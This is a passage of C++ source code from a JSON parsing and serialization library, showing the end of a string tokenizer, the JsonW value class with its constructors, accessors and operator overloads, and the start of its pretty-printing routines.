strbuf.push_back(L'\\r'); break;\n                case L't':  strbuf.push_back(L'\\t'); break;\n                }\n\n                ins.get();\n                character = ins.peek();\n                backslash = false;\n                continue;\n            }\n            else if (character == L'\\\\')\n            {\n                // special , set flag and fo next round\n                backslash = true;\n                ins.get();\n                character = ins.peek();\n                continue;\n            }\n            else if (character == L'\\r' || character == L'\\n')\n            {\n                // unexpected EOL\n                return;\n            }\n            else if (character == L'\\\"')\n            {\n                ins.get();\n                type_ = Type::String;\n                wstring_ = strbuf;\n                return;\n            }\n            else\n            {\n                strbuf.push_back(character);\n                ins.get();\n                character = ins.peek();\n            }\n        }\n\n        // unexpected EOF\n        return;\n    }\n\npublic:\n    enum Type type() const { return type_; }\n    int_fast64_t integer() const { return integer_; }\n    long double frac() const { return frac_; }\n    std::wstring wstring() const { return wstring_; }\n    bool boolean() const { return boolean_; }\n\nprivate:\n    // determine if  character is white space for json\n    static bool isskippable(wchar_t character)\n    {\n        if (character == L' ' || character == L'\\r' || character == L'\\n' || character == L'\\t')\n        {\n            return true;\n        }\n        else\n        {\n            return false;\n        }\n    }\n\n    // skip the white space and check if next non-ws is valid \n    // beginning character for json token\n    static bool findnext(std::wistream& ins)\n    {\n        wchar_t character;\n        if (!ins.good())\n        {\n            return false;\n        }\n\n        character = ins.peek();\n\n        // return false if no more data to read\n        if (character == std::char_traits<wchar_t>::eof())\n        {\n            return false;\n        }\n\n        // skip white space \n        while (isskippable(character))\n        {\n            ins.get();\n            character = ins.peek();\n\n            if (character == std::char_traits<wchar_t>::eof())\n            {\n                return false;\n            }\n        }\n\n        // check next character is valid begin character for token \n        if (character == L'[' || character == L']' ||\n            character == L'{' || character == L'}' ||\n            character == L':' || iswdigit(character) ||\n            character == L',' || character == L'\\\"' ||\n            character == L'-' || character == L't' ||\n            character == L'f' || character == L'n')\n        {\n            return true;\n        }\n        else\n        {\n            return false;\n        }\n    }\n\npublic:\n    // parse text data from wistream and store tokens in queue\n    static bool parse(std::wistream& ins, std::queue<JsonTokenW>& tokens)\n    {\n        bool success = findnext(ins);\n\n        while (success)\n        {\n            JsonTokenW token(ins);\n\n            if (token.type() == JsonTokenW::Type::Bad)\n            {\n                std::queue<JsonTokenW>().swap(tokens); // clear\n                return false;\n            }\n            else\n            {\n                tokens.push(token);\n            }\n\n            success = findnext(ins);\n        }\n        return true;\n    }\n\nprivate:\n    enum Type type_ = Type::Bad;\n    int_fast64_t integer_ = 0;\n    long double frac_ = 0.0;\n    std::wstring wstring_;\n    bool boolean_ = true;\n};\n\n// JsonW is one and the only one class that caller should access. It\n// represents a json 'value' defined in json standard. In other words,\n// JsonW could be a number, a string, a boolean, a null, a json array or\n// an json object. See README.md for the usage.\nclass JsonW\n{\npublic:\n    // type of jsonw\n    const static int BAD = 0;\n    const static int OBJECT = 1;\n    const static int ARRAY = 2;\n    const static int INTEGER = 3;\n    const static int FLOAT = 4;\n    const static int STRING = 5;\n    const static int BOOLEAN = 6;\n    const static int NULLVALUE = 7;\n\npublic:\n    // construtor and destructor\n    // 1. default constructor - NULL value\n    // 2. copy constructor - deep copy\n    // 3. construct by utf8 file input stream \n    // 4. construct by utf8 string (std::string / const char*)\n    // 5. construct by ucs string (std::wstring / const wchar_t*)\n    // 6. construct by a sequence of token (JsonTokenW)\n    // 7. destrcutor that calls help function clean()\n    JsonW()\n    {\n        type_ = NULLVALUE;\n        valid_ = true;\n    }\n\n    explicit JsonW(const JsonW& rhs)\n    {\n        copy(rhs);\n    }\n\n    explicit JsonW(std::ifstream& fin)\n    {\n        if (!fin.good())\n        {\n            return;\n        }\n\n        // convert to std::string\n        std::string utf8str(\n            (std::istreambuf_iterator<char>(fin)),\n            (std::istreambuf_iterator<char>()));\n\n        // convert to wstring\n        std::wstring_convert<std::codecvt_utf8<wchar_t>> conv;\n        std::wstring wstr = conv.from_bytes(utf8str);\n\n        // convert to wstringbuf\n        std::wstringbuf strBuf(wstr.data());\n\n        // convert to wistream\n        std::wistream wins(&strBuf);\n\n        // constructor with std::wstring parameter\n        init(wins);\n    }\n\n    explicit JsonW(const char* utf8str)\n    {\n        // convert to wstring\n        std::wstring_convert<std::codecvt_utf8<wchar_t>> conv;\n        std::wstring wstr = conv.from_bytes(utf8str);\n\n        // convert to wstringbuf\n        std::wstringbuf strBuf(wstr.data());\n\n        // convert to wistream\n        std::wistream wins(&strBuf);\n\n        // constructor with std::wstring parameter\n        init(wins);\n    }\n\n    explicit JsonW(const wchar_t* wstr)\n    {\n        // convert to wstringbuf\n        std::wstringbuf strBuf(wstr);\n\n        // convert to wistream\n        std::wistream wins(&strBuf);\n\n        // constructor with wistream parameter \n        init(wins);\n    }\n\n    JsonW(const wchar_t* ucsdata, size_t size)\n    {\n        // convert to std::wstring\n        std::wstring wstr(ucsdata, size);\n\n        // convert to wstringbuf\n        std::wstringbuf strBuf(wstr);\n\n        // convert to wistream\n        std::wistream wins(&strBuf);\n\n        // constructor with wistream parameter \n        init(wins);\n    }\n\n    JsonW(const char* utf8data, size_t length)\n    {\n        // convert to std::string\n        std::string utf8str(utf8data, length);\n\n        // convert to wstring\n        std::wstring_convert<std::codecvt_utf8<wchar_t>> conv;\n        std::wstring wstr = conv.from_bytes(utf8str);\n\n        // convert to wstringbuf\n        std::wstringbuf strBuf(wstr.data());\n\n        // convert to wistream\n        std::wistream wins(&strBuf);\n\n        // constructor with std::wstring parameter\n        init(wins);\n    }\n\n    ~JsonW()\n    {\n        clean();\n    }\n\npublic:\n    JsonW(std::queue<JsonTokenW>& tokens)\n    {\n        parse(tokens);\n    }\n\nprivate:\n    // read json data from a sequence of tokens\n    void parse(std::queue<JsonTokenW>& tokens)\n    {\n        clean();\n        type_ = BAD;\n\n        if (tokens.empty())\n            return;\n\n        valid_ = true;\n\n        switch (tokens.front().type())\n        {\n        case JsonTokenW::Type::LeftCurlyBracket: // object\n            valid_ = jobject(tokens, jobject_);\n            if (valid_)\n            {\n                type_ = OBJECT;\n            }\n            return;\n        case JsonTokenW::Type::LeftSquareBracket: // array\n            valid_ = jarray(tokens, jarray_);\n            if (valid_)\n            {\n                type_ = ARRAY;\n            }\n            return;\n        case JsonTokenW::Type::NumberInteger:\n            type_ = INTEGER;\n            integer_ = tokens.front().integer();\n            tokens.pop();\n            return;\n        case JsonTokenW::Type::NumberFloat:\n            type_ = FLOAT;\n            frac_ = tokens.front().frac();\n            tokens.pop();\n            return;\n        case JsonTokenW::Type::String:\n            type_ = STRING;\n            wstring_ = tokens.front().wstring();\n            tokens.pop();\n            return;\n        case JsonTokenW::Type::Boolean:\n            type_ = BOOLEAN;\n            boolean_ = tokens.front().boolean();\n            tokens.pop();\n            return;\n        case JsonTokenW::Type::Null:\n            type_ = NULLVALUE;\n            tokens.pop();\n            return;\n        default: // bad token\n            valid_ = false;\n            return;\n        }\n    }\n\n    // deep copy from another JsonW\n    void copy(const JsonW& rhs)\n    {\n        clean();\n\n        type_ = rhs.type_;\n        valid_ = rhs.valid_;\n        integer_ = rhs.integer_;\n        frac_ = rhs.frac_;\n        wstring_ = rhs.wstring_;\n        boolean_ = rhs.boolean_;\n\n        for (const auto& it : rhs.jobject_)\n        {\n            std::wstring name = it.first;\n\n            std::shared_ptr<JsonW> jvalue = std::make_shared<JsonW>(*(it.second.get()));\n            jobject_[name] = jvalue;\n        }\n\n        for (const auto& it : rhs.jarray_)\n        {\n            std::shared_ptr<JsonW> jvalue = std::make_shared<JsonW>(*(it.get()));\n            jarray_.push_back(jvalue);\n        }\n    }\n\npublic:\n    // return false if json data is invalid\n    bool valid() const { return valid_; }\n\n    // get type of jsonw\n    int type() const { return type_; }\n\n    //\n    // simple data accessors\n    //\n\n    // get the number of data in this json value\n    // for number, string and boolean, return 1\n    // for array, return the number of values inside it\n    // for object, return the number of name-value pairs inside it\n    // others return 0\n    size_t size() const\n    {\n        switch (type_)\n        {\n        case BAD:\n            return 0;\n        case OBJECT:\n            return jobject_.size();\n        case ARRAY:\n            return jarray_.size();\n        case INTEGER:\n        case FLOAT:\n        case STRING:\n        case BOOLEAN:\n            return 1;\n        case NULLVALUE:\n        default:\n            return 0;\n        }\n    }\n\n    long long integer() const { return integer_; }\n    long double frac() const { return frac_; }\n    std::wstring wstr() const { return wstring_; }\n    std::string str() const\n    {\n        std::wstring_convert<std::codecvt_utf8<wchar_t>> conv;\n        return conv.to_bytes(wstring_);\n    }\n    bool boolean() const { return boolean_; }\n\n    void integer(long long integer)\n    {\n        clean();\n        type_ = INTEGER;\n        integer_ = integer;\n    }\n\n    void frac(long double frac)\n    {\n        clean();\n        type_ = FLOAT;\n        frac_ = frac;\n    }\n\n    void wstr(const std::wstring& wstr)\n    {\n        clean();\n        type_ = STRING;\n        wstring_ = wstr;\n    }\n\n    void wstr(const wchar_t* wstr)\n    {\n        clean();\n        type_ = STRING;\n        wstring_ = wstr;\n    }\n\n    void wstr(const wchar_t* wstr, size_t length)\n    {\n        clean();\n        type_ = STRING;\n        std::wstring usc(wstr, length);\n        wstring_ = usc;\n    }\n\n    void str(const std::string& str)\n    {\n        clean();\n        type_ = STRING;\n        std::wstring_convert<std::codecvt_utf8<wchar_t>> conv;\n        wstring_ = conv.from_bytes(str);\n    }\n\n    void str(const char* str)\n    {\n        clean();\n        type_ = STRING;\n        std::wstring_convert<std::codecvt_utf8<wchar_t>> conv;\n        wstring_ = conv.from_bytes(str);\n    }\n\n    void str(const char* str, size_t length)\n    {\n        clean();\n        type_ = STRING;\n        std::string utf8(str, length);\n        std::wstring_convert<std::codecvt_utf8<wchar_t>> conv;\n        wstring_ = conv.from_bytes(utf8);\n    }\n\n    void boolean(bool boolean)\n    {\n        clean();\n        type_ = BOOLEAN;\n        boolean_ = boolean;\n    }\n\n    void reset()\n    {\n        clean();\n    }\n\n    void json(const std::string& text)\n    {\n        clean();\n\n        // convert to wstring\n        std::wstring_convert<std::codecvt_utf8<wchar_t>> conv;\n        std::wstring wstr = conv.from_bytes(text);\n\n        // convert to wstringbuf\n        std::wstringbuf strBuf(wstr.data());\n\n        // convert to wistream\n        std::wistream wins(&strBuf);\n\n        // constructor with std::wstring parameter\n        init(wins);\n    }\n\n    void json(const char* text)\n    {\n        std::string utf8(text);\n        json(utf8);\n    }\n\n    void json(const char* text, size_t size)\n    {\n        std::string utf8(text, size);\n        json(utf8);\n    }\n\n    //\n    // json object accessor member\n    //\n\n    // return all available keys in either ucs or utf8 enconding\n    void wkeys(std::vector<std::wstring>& keys) const\n    {\n        auto it = jobject_.begin();\n\n        while (it != jobject_.end())\n        {\n            keys.push_back(it->first);\n            it++;\n        }\n\n        return;\n    }\n\n    void keys(std::vector<std::string>& keys) const\n    {\n        std::wstring_convert<std::codecvt_utf8<wchar_t>> conv;\n        auto it = jobject_.begin();\n\n        while (it != jobject_.end())\n        {\n            keys.push_back(conv.to_bytes(it->first));\n            it++;\n        }\n\n        return;\n    }\n\n    // get json value via specific key, return nullptr if\n    // no such entry or 'this' is not an json object\n    std::shared_ptr<JsonW> get(const std::wstring& wkey) const\n    {\n        auto it = jobject_.find(wkey);\n        if (it == jobject_.end())\n        {\n            return nullptr;\n        }\n\n        return it->second;\n    }\n\n    std::shared_ptr<JsonW> get(const std::string& key) const\n    {\n        // convert to wstring\n        std::wstring_convert<std::codecvt_utf8<wchar_t>> conv;\n        std::wstring wkey = conv.from_bytes(key.data());\n        return get(wkey);\n    }\n\n    // delete a name-pair value inside json object by the name\n    // return false if no such value\n    bool erase(std::wstring wkey)\n    {\n        auto it = jobject_.find(wkey);\n        if (it == jobject_.end())\n        {\n            return false;\n        }\n\n        jobject_.erase(it);\n        return true;\n    }\n\n    bool erase(std::string key)\n    {\n        // convert to wstring\n        std::wstring_convert<std::codecvt_utf8<wchar_t>> conv;\n        std::wstring wkey = conv.from_bytes(key.data());\n        return erase(wkey);\n    }\n\n    // set json value using specific key, return false\n    // if key length is 0\n    bool add(std::wstring wkey, std::shared_ptr<JsonW> jvalue)\n    {\n        if (wkey.length() == 0)\n        {\n            return false;\n        }\n\n        if (type_ != OBJECT)\n        {\n            clean();\n            type_ = OBJECT;\n        }\n\n        auto it = jobject_.find(wkey);\n        jobject_[wkey] = jvalue;\n        return true;\n    }\n\n    bool add(std::string key, std::shared_ptr<JsonW> jvalue)\n    {\n        // convert to wstring\n        std::wstring_convert<std::codecvt_utf8<wchar_t>> conv;\n        std::wstring wkey = conv.from_bytes(key.data());\n\n        return add(wkey, jvalue);\n    }\n\n    bool add(std::wstring wkey, long long integer)\n    {\n        std::shared_ptr<JsonW> jvalue = std::make_shared<JsonW>();\n        jvalue->integer(integer);\n        return add(wkey, jvalue);\n    }\n\n    bool add(std::wstring wkey, long integer)\n    {\n        return add(wkey, (long long)integer);\n    }\n\n    bool add(std::wstring wkey, int integer)\n    {\n        return add(wkey, (long long)integer);\n    }\n\n    bool add(std::wstring wkey, short integer)\n    {\n        return add(wkey, (long long)integer);\n    }\n\n    bool add(std::string key, long long integer)\n    {\n        std::shared_ptr<JsonW> jvalue = std::make_shared<JsonW>();\n        jvalue->integer(integer);\n        return add(key, jvalue);\n    }\n\n    bool add(std::string key, long integer)\n    {\n        return add(key, (long long)integer);\n    }\n\n    bool add(std::string key, int integer)\n    {\n        return add(key, (long long)integer);\n    }\n\n    bool add(std::string key, short integer)\n    {\n        return add(key, (long long)integer);\n    }\n\n    bool add(std::wstring wkey, long double frac)\n    {\n        std::shared_ptr<JsonW> jvalue = std::make_shared<JsonW>();\n        jvalue->frac(frac);\n        return add(wkey, jvalue);\n    }\n\n    bool add(std::wstring wkey, double frac)\n    {\n        return add(wkey, (long double)frac);\n    }\n\n    bool add(std::wstring wkey, float frac)\n    {\n        return add(wkey, (long double)frac);\n    }\n\n    bool add(std::string key, long double frac)\n    {\n        std::shared_ptr<JsonW> jvalue = std::make_shared<JsonW>();\n        jvalue->frac(frac);\n        return add(key, jvalue);\n    }\n\n    bool add(std::string key, double frac)\n    {\n        return add(key, (long double)frac);\n    }\n\n    bool add(std::string key, float frac)\n    {\n        return add(key, (long double)frac);\n    }\n\n    bool add(std::wstring wkey, std::wstring wstr)\n    {\n        std::shared_ptr<JsonW> jvalue = std::make_shared<JsonW>();\n        jvalue->wstr(wstr);\n        return add(wkey, jvalue);\n    }\n\n    bool add(std::string key, std::string str)\n    {\n        std::shared_ptr<JsonW> jvalue = std::make_shared<JsonW>();\n        jvalue->str(str);\n        return add(key, jvalue);\n    }\n\n    bool add(std::wstring wkey, bool boolean)\n    {\n        std::shared_ptr<JsonW> jvalue = std::make_shared<JsonW>();\n        jvalue->boolean(boolean);\n        return add(wkey, jvalue);\n    }\n\n    bool add(std::string key, bool boolean)\n    {\n        std::shared_ptr<JsonW> jvalue = std::make_shared<JsonW>();\n        jvalue->boolean(boolean);\n        return add(key, jvalue);\n    }\n\n    //\n    // json array accessors\n    //\n\n    // retrieve the json value in array\n    std::shared_ptr<JsonW> get(size_t idx) const\n    {\n        if (idx >= jarray_.size())\n        {\n            return nullptr;\n        }\n\n        return jarray_.at(idx);\n    }\n\n    // add one json value into array\n    bool add(std::shared_ptr<JsonW> junit)\n    {\n        if (type_ != ARRAY)\n        {\n            clean();\n            type_ = ARRAY;\n        }\n\n        if (junit == nullptr)\n        {\n            // NULLVALUE json value\n            jarray_.push_back(std::make_shared<JsonW>());\n        }\n        else\n        {\n            jarray_.push_back(junit);\n        }\n\n        valid_ = true;\n        return true;\n    }\n\n    bool add(long long integer)\n    {\n        std::shared_ptr<JsonW> jvalue = std::make_shared<JsonW>();\n        jvalue->integer(integer);\n        return add(jvalue);\n    }\n\n    bool add(long integer)\n    {\n        return add((long long)integer);\n    }\n\n    bool add(int integer)\n    {\n        return add((long long)integer);\n    }\n\n    bool add(short integer)\n    {\n        return add((long long)integer);\n    }\n\n    bool add(long double frac)\n    {\n        std::shared_ptr<JsonW> jvalue = std::make_shared<JsonW>();\n        jvalue->frac(frac);\n        return add(jvalue);\n    }\n\n    bool add(double frac)\n    {\n        return add((long double)frac);\n    }\n\n    bool add(float frac)\n    {\n        return add((long double)frac);\n    }\n\n    bool add(std::wstring wstr)\n    {\n        std::shared_ptr<JsonW> jvalue = std::make_shared<JsonW>();\n        jvalue->wstr(wstr);\n        return add(jvalue);\n    }\n\n    bool add(std::string str)\n    {\n        std::shared_ptr<JsonW> jvalue = std::make_shared<JsonW>();\n        jvalue->str(str);\n        return add(jvalue);\n    }\n\n    bool add(bool boolean)\n    {\n        std::shared_ptr<JsonW> jvalue = std::make_shared<JsonW>();\n        jvalue->boolean(boolean);\n        return add(jvalue);\n    }\n\n    // delete a value inside json array by index, \n    // return false if no such value.\n    bool erase(size_t idx)\n    {\n        if (type_ != ARRAY)\n        {\n            return false;\n        }\n\n        if (size() <= idx)\n        {\n            return false;\n        }\n\n        jarray_.erase(jarray_.begin() + idx);\n\n        return true;\n    }\n\npublic:\n    //\n    // operator overloading\n    //\n    JsonW& operator=(short value)\n    {\n        clean();\n\n        type_ = INTEGER;\n        valid_ = true;\n        integer_ = value;\n\n        return *this;\n    }\n\n    JsonW& operator=(int value)\n    {\n        clean();\n\n        type_ = INTEGER;\n        valid_ = true;\n        integer_ = value;\n\n        return *this;\n    }\n\n    JsonW& operator=(long value)\n    {\n        clean();\n\n        type_ = INTEGER;\n        valid_ = true;\n        integer_ = value;\n\n        return *this;\n    }\n\n    JsonW& operator=(long long value)\n    {\n        clean();\n\n        type_ = INTEGER;\n        valid_ = true;\n        integer_ = value;\n\n        return *this;\n    }\n\n    JsonW& operator=(long double value)\n    {\n        clean();\n\n        type_ = FLOAT;\n        valid_ = true;\n        frac_ = value;\n\n        return *this;\n    }\n\n    JsonW& operator=(double value)\n    {\n        clean();\n\n        type_ = FLOAT;\n        valid_ = true;\n        frac_ = value;\n\n        return *this;\n    }\n\n    JsonW& operator=(float value)\n    {\n        clean();\n\n        type_ = FLOAT;\n        valid_ = true;\n        frac_ = value;\n\n        return *this;\n    }\n\n    JsonW& operator=(const wchar_t* value)\n    {\n        clean();\n\n        type_ = STRING;\n        valid_ = true;\n        wstring_ = value;\n\n        return *this;\n    }\n\n    JsonW& operator=(const std::wstring& value)\n    {\n        clean();\n\n        type_ = STRING;\n        valid_ = true;\n        wstring_ = value;\n\n        return *this;\n    }\n\n    JsonW& operator=(const char* value)\n    {\n        clean();\n\n        type_ = STRING;\n        valid_ = true;\n        std::wstring_convert<std::codecvt_utf8<wchar_t>> conv;\n        wstring_ = conv.from_bytes(value);\n\n        return *this;\n    }\n\n    JsonW& operator=(std::string value)\n    {\n        clean();\n\n        type_ = STRING;\n        valid_ = true;\n        std::wstring_convert<std::codecvt_utf8<wchar_t>> conv;\n        wstring_ = conv.from_bytes(value.data());\n\n        return *this;\n    }\n\n    JsonW& operator=(bool boolean)\n    {\n        clean();\n\n        type_ = BOOLEAN;\n        valid_ = true;\n        std::wstring_convert<std::codecvt_utf8<wchar_t>> conv;\n        boolean_ = boolean;\n\n        return *this;\n    }\n\n    JsonW& operator=(const JsonW& junit)\n    {\n        copy(junit);\n        return *this;\n    }\n\n    JsonW& operator[] (size_t index)\n    {\n        if (type_ != ARRAY)\n        {\n            clean();\n            type_ = ARRAY;\n            valid_ = true;\n        }\n\n        if (index >= size())\n        {\n            for (size_t i = size(); i <= index; i++)\n            {\n                add(std::make_shared<JsonW>());\n            }\n        }\n\n        return *(get(index));\n    }\n\n    JsonW& operator[] (int index)\n    {\n        if (index < 0)\n        {\n            return bad();\n        }\n\n        if (type_ != ARRAY)\n        {\n            clean();\n            type_ = ARRAY;\n            valid_ = true;\n        }\n\n        if (index >= (int)size())\n        {\n            for (size_t i = size(); i <= (size_t)index; i++)\n            {\n                add(std::make_shared<JsonW>());\n            }\n        }\n\n        return *(get(index));\n    }\n\n    JsonW& operator[] (const char* name)\n    {\n        // convert to wstring\n        std::wstring_convert<std::codecvt_utf8<wchar_t>> conv;\n        std::wstring wname = conv.from_bytes(name);\n\n        if (wname.length() == 0)\n        {\n            return bad();\n        }\n\n        if (type_ != OBJECT)\n        {\n            clean();\n            type_ = OBJECT;\n            valid_ = true;\n        }\n\n        if (jobject_.find(wname) == jobject_.end())\n        {\n            jobject_.insert(std::pair<std::wstring, std::shared_ptr<JsonW>>(wname, std::make_shared<JsonW>()));\n        }\n\n        return *(jobject_.find(wname)->second);\n    }\n\n    JsonW& operator[] (const std::string& name)\n    {\n        // convert to wstring\n        std::wstring_convert<std::codecvt_utf8<wchar_t>> conv;\n        std::wstring wname = conv.from_bytes(name);\n\n        if (wname.length() == 0)\n        {\n            return bad();\n        }\n\n        if (type_ != OBJECT)\n        {\n            clean();\n            type_ = OBJECT;\n            valid_ = true;\n        }\n\n        if (jobject_.find(wname) == jobject_.end())\n        {\n            jobject_.insert(std::pair<std::wstring, std::shared_ptr<JsonW>>(wname, std::make_shared<JsonW>()));\n        }\n\n        return *(jobject_.find(wname)->second);\n    }\n\n    JsonW& operator[] (const wchar_t* name)\n    {\n        // convert to wstring\n        std::wstring wname(name);\n\n        if (wname.length() == 0)\n        {\n            return bad();\n        }\n\n        if (type_ != OBJECT)\n        {\n            clean();\n            type_ = OBJECT;\n            valid_ = true;\n        }\n\n        if (jobject_.find(wname) == jobject_.end())\n        {\n            jobject_.insert(std::pair<std::wstring, std::shared_ptr<JsonW>>(wname, std::make_shared<JsonW>()));\n        }\n\n        return *(jobject_.find(wname)->second);\n    }\n\n    JsonW& operator[] (const std::wstring& wname)\n    {\n        if (wname.length() == 0)\n        {\n            return bad();\n        }\n\n        if (type_ != OBJECT)\n        {\n            clean();\n            type_ = OBJECT;\n            valid_ = true;\n        }\n\n        if (jobject_.find(wname) == jobject_.end())\n        {\n            jobject_.insert(std::pair<std::wstring, std::shared_ptr<JsonW>>(wname, std::make_shared<JsonW>()));\n        }\n\n        return *(jobject_.find(wname)->second);\n    }\n\n    // format json data into utf8 text in json standard\n    std::wstring wtext(bool singleline = true) const\n    {\n        std::wstringstream wss;\n        wss_jvalue(wss, *this, singleline);\n        return wss.str();\n    }\n\n    // format json data into ucs text\n    std::string text(bool singleline = true) const\n    {\n        std::wstring_convert<std::codecvt_utf8<wchar_t>> conv;\n        return conv.to_bytes(wtext(singleline));\n    }\n\n    friend std::ostream& operator<<(std::ostream& os, const JsonW& rhs)\n    {\n        os << rhs.text();\n        return os;\n    }\n\n    friend std::wostream& operator<<(std::wostream& wos, const JsonW& rhs)\n    {\n        wos << rhs.wtext();\n        return wos;\n    }\n\npublic:\n    // Singleton bad JsonW instance\n    static JsonW& bad()\n    {\n        static JsonW instance;\n        instance.type_ = BAD;\n        instance.valid_ = false;\n        return instance;\n    }\n\nprivate:\n    // private static help function - parse token into json object \n    static bool jobject(std::queue<JsonTokenW>& tokens, std::map<std::wstring, std::shared_ptr<JsonW>>& jobject)\n    {\n        // Object must start with LeftCurlyBracket:'{' and minimum size is 2 '{' + '}'\n        if (tokens.size() < 2 ||\n            tokens.front().type() != JsonTokenW::Type::LeftCurlyBracket)\n        {\n            return false;\n        }\n        tokens.pop();\n\n        while (!tokens.empty())\n        {\n            std::wstring key;\n            switch (tokens.front().type())\n            {\n            case JsonTokenW::Type::RightCurlyBracket:\n                tokens.pop();\n                return true;\n            case JsonTokenW::Type::String:\n                key = tokens.front().wstring();\n                if (key.length() == 0)\n                {\n                    return false;\n                }\n                else if (jobject.count(key) > 0)\n                {\n                    return false; // not allow duplicate key\n                }\n\n                tokens.pop();\n                if (tokens.empty())\n                {\n                    return false;\n                }\n                else if (tokens.front().type() != JsonTokenW::Type::Colon)\n                {\n                    return false;\n                }\n\n                tokens.pop();\n                if (tokens.empty())\n                {\n                    return false;\n                }\n                else\n                {\n                    std::shared_ptr<JsonW> junit = std::make_shared<JsonW>(tokens);\n\n                    if (junit->valid() == false)\n                    {\n                        return false;\n                    }\n                    else\n                    {\n                        jobject[key] = junit;\n                    }\n                }\n\n                if (!tokens.empty() && tokens.front().type() == JsonTokenW::Type::Comma)\n                {\n                    // consume comma and expect next key-data set\n                    tokens.pop();\n                }\n\n                break;\n            case JsonTokenW::Type::LeftCurlyBracket:\n            case JsonTokenW::Type::LeftSquareBracket:\n            case JsonTokenW::Type::RightSquareBracket:\n            case JsonTokenW::Type::NumberInteger:\n            case JsonTokenW::Type::NumberFloat:\n            case JsonTokenW::Type::Boolean:\n            case JsonTokenW::Type::Null:\n            case JsonTokenW::Type::Colon:\n            case JsonTokenW::Type::Comma:\n            case JsonTokenW::Type::Bad:\n            default:\n                return false;\n            }\n        }\n\n        return false;\n    }\n\n    // private static help function - parse tokens into json array\n    static bool jarray(std::queue<JsonTokenW>& tokens, std::vector<std::shared_ptr<JsonW>>& jarray)\n    {\n        // Object must start with LeftCurlyBracket:'[' and minimum size is 2 '[' + ']'\n        if (tokens.size() < 2 ||\n            tokens.front().type() != JsonTokenW::Type::LeftSquareBracket)\n        {\n            return false;\n        }\n        tokens.pop();\n\n        while (!tokens.empty())\n        {\n            switch (tokens.front().type())\n            {\n            case JsonTokenW::Type::RightSquareBracket:\n                tokens.pop();\n                return true;\n            case JsonTokenW::Type::LeftCurlyBracket:\n            case JsonTokenW::Type::LeftSquareBracket:\n            case JsonTokenW::Type::NumberInteger:\n            case JsonTokenW::Type::NumberFloat:\n            case JsonTokenW::Type::Boolean:\n            case JsonTokenW::Type::String:\n            case JsonTokenW::Type::Null:\n            {\n                std::shared_ptr<JsonW> junit = std::make_shared<JsonW>(tokens);\n                if (junit->valid() == false)\n                {\n                    return false;\n                }\n\n                jarray.push_back(junit);\n\n                // if followed by comma, continually read next JsonUnitW\n                if (!tokens.empty() && tokens.front().type() == JsonTokenW::Type::Comma)\n                {\n                    tokens.pop();\n                    continue;\n                }\n                else if (!tokens.empty() && tokens.front().type() == JsonTokenW::Type::RightSquareBracket)\n                {\n                    tokens.pop();\n                    return true;\n                }\n                else\n                {\n                    return false;\n                }\n            }\n\n            // invalid\n            case JsonTokenW::Type::RightCurlyBracket:\n            case JsonTokenW::Type::Colon:\n            case JsonTokenW::Type::Comma:\n            case JsonTokenW::Type::Bad:\n            default:\n                return false;\n            }\n        }\n\n        return false;\n    }\n\n    // private static help function, write value into string buffer in json format \n    static std::wstringstream& wss_jvalue(std::wstringstream& wss, const JsonW& jvalue, bool singleline = true, size_t level = 0)\n    {\n        if (jvalue.valid() == false)\n        {\n            return wss;\n        }\n\n        switch (jvalue.type())\n        {\n        case JsonW::INTEGER:\n            wss << std::to_wstring(jvalue.integer());\n            return wss;\n        case JsonW::FLOAT:\n            wss << std::to_wstring(jvalue.frac());\n            return wss;\n        case JsonW::BOOLEAN:\n            if (jvalue.boolean())\n            {\n                wss << L\"true\";\n                return wss;\n            }\n            else\n            {\n                wss << L\"false\";\n                return wss;\n            }\n        case JsonW::NULLVALUE:\n            wss << L\"null\";\n            return wss;\n        case JsonW::STRING:\n            return wss_string(wss, jvalue.wstr());\n        case JsonW::OBJECT:\n        {\n            if (singleline)\n            {\n                return wss_jobject(wss, jvalue);\n            }\n            else\n            {\n                return wss_jobject(wss, jvalue, singleline, level);\n            }\n        }\n        case JsonW::ARRAY:\n        {\n            std::wstringstream wsstmp;\n            wss_jarray(wsstmp, jvalue);\n            std::wstring wstr = wsstmp.str();\n\n            if (singleline || wstr.length() <= 20)\n            {\n                wss << wstr;\n                return wss;\n            }\n            else\n            {\n                return wss_jarray(wss, jvalue, singleline, level);\n            }\n        }\n        case JsonW::BAD:\n        default:\n            return wss;\n        }\n    }\n\n    static std::wstringstream& wss_jobject(std::wstringstream& wss, const JsonW& jobject,\n        bool singleline = true, size_t level = 0, bool addcomma = false)\n    {\n        std::vector<std::wstring> wkeys;\n        jobject.wkeys(wkeys);\n        size_t level_plus = 0;\n\n        if (singleline == false)\n        {\n            level_plus = level + 1;\n        }\n\n        wss_intent(wss, level) << L\"{\";\n\n        if (singleline == false)\n        {\n            wss << std::endl;\n        }\n\n        for (size_t i = 0; i < wkeys.size(); i++)\n        {\n            bool newline = false;\n            bool comma_in_function = true;\n\n            wss_intent(wss, level_plus);\n            wss_string(wss, wkeys.at(i)) << L\":\";\n\n            // 'name : value'\n            // when we need to add std::endl after ':'\n            // 1. value is json object\n            // 2. value is json array and length + level*4 > 40\n            std::shared_ptr<JsonW> jvalue = jobject.get(wkeys.at(i));\n\n            if (singleline == false)\n            {\n                size_t estimate_size = 0;\n                std::wstringstream wsstmp;\n                wss_jvalue(wsstmp, *(jvalue.get()));\n                estimate_size = wsstmp.str().length();\n\n                if (jvalue->type() == JsonW::OBJECT && jvalue->size() > 1)\n                {\n                    if (jvalue->size() > 1 || estimate_size > 20)\n                    {\n                        newline = true;\n                        wss << std::endl;\n                    }\n                }\n                else if (jvalue->type() == JsonW::ARRAY)\n                {\n                    bool has_object_array = false;\n\n                    for (size_t j = 0; j < jvalue->size(); j++)\n                    {\n                        if (jvalue->get(j)->type() == JsonW::ARRAY ||\n                            jvalue->get(j)->type() == JsonW::OBJECT)\n                        {\n                            has_object_array = true;\n                        }\n                    }\n\n                    if (has_object_array || wsstmp.str().length() > 20)\n                    {\n                        newline = true;\n                        wss << std::endl;\n                    }\n                }\n            }\n\n            if (newline == false)\n            {\n                if (i < wkeys.size() - 1)\n                {\n                    wss_jvalue(wss, *(jvalue.get())) << L\",\";\n                }\n                else\n                {\n                    wss_jvalue(wss, *(jvalue.get()));\n                }\n            }\n            else\n            {\n                if (i < wkeys.size() - 1)\n                {\n                    if (jvalue->type() == JsonW::OBJECT)\n                    {\n                        comma_in_function = false;\n                        wss_jobject(wss, *(jvalue.get()), singleline, level_plus, true);\n                    }\n                    else if (jvalue->type() == JsonW::ARRAY)\n                    {\n                        comma_in_function = false;\n                        wss_jarray(wss, *(jvalue.get()), singleline, level_plus, true);\n                    }\n                    else\n                    {\n                        